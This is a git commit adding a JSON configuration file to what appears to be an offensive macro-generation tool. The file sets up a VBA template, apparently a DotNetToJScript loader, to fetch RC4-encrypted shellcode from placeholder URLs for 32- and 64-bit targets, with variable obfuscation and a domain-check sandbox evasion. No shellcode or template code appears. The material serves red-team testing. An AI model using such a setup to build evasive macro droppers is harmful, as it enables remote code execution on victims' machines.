Create dotnettojs-domain-evasion.json

2017-11-22 20:12:05 -05:00 · 2017-11-22 20:12:05 -05:00 · 7e4390f0a5
parent 1dbc2812b9
commit 7e4390f0a5
1 changed files with 19 additions and 0 deletions
--- a/configs/dotnettojs-domain-evasion.json
+++ b/configs/dotnettojs-domain-evasion.json
@ -0,0 +1,19 @@
+{
+        "description": "DotnettoJS with RC4 encrypted payload\nEvasion technique set to domain check",
+        "template": "templates/payloads/dotnettojs-evasion-template.vba",
+        "varcount": 150,
+        "encodingoffset": 4,
+        "chunksize": 200,
+        "encodedvars":  {
+
+                                "DOMAIN":"TEST",
+                                "URL_X86":"https://RC4.encrypted.base64.shellcode.32.bit/?1=1",
+                                "URL_X64":"https://RC4.encrypted.base64.shellcode.64.bit/?1=3",
+                                "DECRYPTION_KEY":"RC4.base64.decryption.key",
+                                "WAIT_TIME":"4294967295"
+
+                        },
+        "vars": [],
+        "evasion":      ["encoder", "domain"],
+        "payload": ""
+}